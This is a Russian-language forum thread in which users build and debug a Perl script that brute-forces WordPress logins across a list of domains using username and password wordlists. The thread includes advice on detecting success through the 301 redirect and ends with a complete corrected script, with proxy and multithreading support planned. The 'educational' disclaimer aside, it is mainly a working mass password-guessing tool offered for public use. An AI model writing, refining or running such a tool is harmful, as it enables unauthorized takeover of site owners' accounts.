Накидал на коленке сегодня за ночь код, но он не работает. Возможно для знающих эта проблема очевидна. В целом вот: https://gist.github.com/anonymous/4692681932d816355e73 Затык идет на чтении кода ответа - он всегда приходит 200. Теперь немного объясню по параметрам: -d - файл со списком доменов -p - тут будет прокси(пока не сделал, сделаю когда разберусь с остальным) -w - список паролей -n - список имен для перебора В планах добавить еще мультипоточность и развивать. Выбрал перл именно для обучения, и проект создается только в ознакомительных целях P.S. просьба подсказать только по данной проблеме. Остальное хочется решить самому. Ну и ждите обновлений в этой ветке. Код будет открытый и пользоваться сможет каждый
jslby скрипт рабочий, правда недопиленный, только учти тебе не нужно проверять на 200 код ошибки (он будет всегда при неверном логине\пароле). При успешном логине wp-login.php вернет 301 а не 200.
В перле не особо силен, но почему бы так не проверять Code: if($resp->is_success){ print "Found: $thisName:$thisPass\n"; }else{ print "Not Found: $thisName:$thisPass $resp->status_line\n"; }
И с учетом моего комментария Code: if($resp->is_redirect){ print "Found: $thisName:$thisPass\n"; }else{ print "Not Found: $thisName:$thisPass $resp->status_line\n"; }
Да, спасибо. Логику с редиректом понял. Но код запускается и при первом запросе в любом случае всегда отдает след: 301 Moved Permanently. В следующих возвращает страницу логина с кодом 200, даже когда я точно уверен что логин и пароль верны
Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?
Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил. Code: use strict; use warnings; use Getopt::Std; use HTTP::Cookies; use LWP; use HTTP::Request::Common qw(POST); use HTTP::Request::Common qw(GET); my $cookie_jar = HTTP::Cookies->new( file => "cookies.dat", autosave => 1, ); getopt('d:p:n:w:'); our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh); open($dfh, '<:encoding(UTF-8)', $opt_d) or die "Could not open '$opt_d' $!"; while(my $thisDomain = <$dfh>){ chomp $thisDomain; open($nfh, '<:encoding(UTF-8)', $opt_n) or die "Could not open '$opt_n' $!"; while(my $thisName = <$nfh>){ chomp $thisName; open($wfh, '<:encoding(UTF-8)', $opt_w) or die "Could not open '$opt_w' $!"; while(my $thisPass = <$wfh>){ chomp $thisPass; my $ua = LWP::UserAgent->new; $ua->cookie_jar($cookie_jar); my $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName , 'pwd' => $thisPass, 'wp-sumbit' => 'Log In', 'redirect_to' => "http://$thisDomain/wp-login.php", 'rememberme' => 'forever', 'testcookie' => 1}); if($resp->is_redirect){ print "Found: $thisName:$thisPass\n"; }else{ print "Not Found: $thisName:$thisPass $resp->status_line\n"; } undef $resp; } } }
Да, связка логин:пароль отслеживается. Спасибо! Но по странной причине при первой итерации в цикле так же выдает Found. С потоками уже разобрался, сегодня выложу версию с мультипотоками